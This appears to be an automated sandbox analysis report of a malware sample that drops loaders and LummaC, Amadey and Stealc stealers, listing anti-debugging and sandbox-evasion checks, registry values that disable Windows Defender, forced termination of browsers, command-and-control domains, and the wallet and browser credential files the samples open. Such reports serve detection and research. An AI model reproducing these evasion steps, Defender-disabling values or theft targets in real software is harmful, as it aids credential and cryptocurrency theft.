Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 100bc97ff1.exe, 00000015.00000003.2418516998.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Code function: 10_2_0025C807 Start: 0025C89A End: 0025C82E	10_2_0025C807
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_04BB08D7 Start: 04BB08EA End: 04BB08F0	17_2_04BB08D7
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_04BB0949 Start: 04BB08EA End: 04BB08F0	17_2_04BB0949

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Code function: 10_2_0025C6A2 rdtsc

10_2_0025C6A2

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Code function: 10_2_000CB7EA LdrInitializeThunk,

10_2_000CB7EA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_0045652B mov eax, dword ptr fs:[00000030h]		17_2_0045652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 17_2_0045A302 mov eax, dword ptr fs:[00000030h]		17_2_0045A302

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 76bf5a4dba.exe PID: 4304, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1283257547.0000000004C40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\4XW8W5G3AUTSGA2M5UZH7L9.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe "C:\Users\user~1\AppData\Local\Temp\1002596001\100bc97ff1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe "C:\Users\user~1\AppData\Local\Temp\1002597001\76bf5a4dba.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe "C:\Users\user~1\AppData\Local\Temp\1002598001\ee3f3c2bda.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002599001\num.exe "C:\Users\user~1\AppData\Local\Temp\1002599001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002600001\test.exe "C:\Users\user~1\AppData\Local\Temp\1002600001\test.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: ee3f3c2bda.exe, 00000016.00000000.2350655418.0000000000BE2000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe, 0000000A.00000002.1668517186.00000000002BD000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: \|vProgram Manager
Source: firefox.exe, 00000024.00000002.2539895423.000000BA7DC3B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: skotes.exe, skotes.exe, 00000011.00000002.2514013755.0000000000618000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: Ns6lProgram Manager
Source: 4XW8W5G3AUTSGA2M5UZH7L9.exe, 0000000B.00000002.1593731154.0000000000488000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 0000000C.00000002.1621988683.0000000000618000.00000040.00000001.01000000.0000000C.sdmp, skotes.exe, 0000000D.00000002.1625119302.0000000000618000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: oNs6lProgram Manager
Source: 100bc97ff1.exe, 00000013.00000002.2520595887.0000000000623000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 17_2_0043D3E2 cpuid

17_2_0043D3E2

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002598001\ee3f3c2bda.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002599001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002599001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002600001\test.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002600001\test.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002597001\76bf5a4dba.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 17_2_0043CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

17_2_0043CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 17_2_004265E0 LookupAccountNameA,

17_2_004265E0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\M0LIFBH5YXA7UY5T49ZOOBXLNF0YM.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 100bc97ff1.exe, 00000013.00000003.2357604902.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: r\MsMpeng.exe
Source: 100bc97ff1.exe, 00000013.00000003.2329931380.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.4XW8W5G3AUTSGA2M5UZH7L9.exe.290000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.skotes.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.skotes.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.skotes.exe.420000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000003.1584824472.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.1581637414.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2063993916.00000000049A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2512114428.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1625041003.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1593645355.0000000000291000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1621915731.0000000000421000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.1553486774.0000000004D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: ee3f3c2bda.exe PID: 4100, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6604, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 100bc97ff1.exe PID: 6228, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 100bc97ff1.exe PID: 5796, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 39.0.num.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 39.2.num.exe.e60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.76bf5a4dba.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.2.76bf5a4dba.exe.320000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.2527848797.00000000011CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2427332199.0000000000E61000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2307921520.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2427703297.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.2435358358.000000000168E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2351036059.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2407308051.0000000000E7E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2348423588.0000000000321000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000000.2407233161.0000000000E61000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2454084311.0000000004D60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2512290004.0000000000321000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 76bf5a4dba.exe PID: 4304, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002599001\num.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1313659387.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectrumTI8+hmP9D
Source: file.exe, 00000000.00000003.1313659387.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.1313659387.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.jsonh9*9
Source: file.exe, 00000000.00000003.1313659387.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 100bc97ff1.exe, 00000015.00000003.2400684236.00000000013B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum\
Source: file.exe, 00000000.00000003.1358249522.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: file.exe, 00000000.00000003.1313659387.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereumyjhsdl
Source: file.exe, 00000000.00000003.1358249522.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.1358249522.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
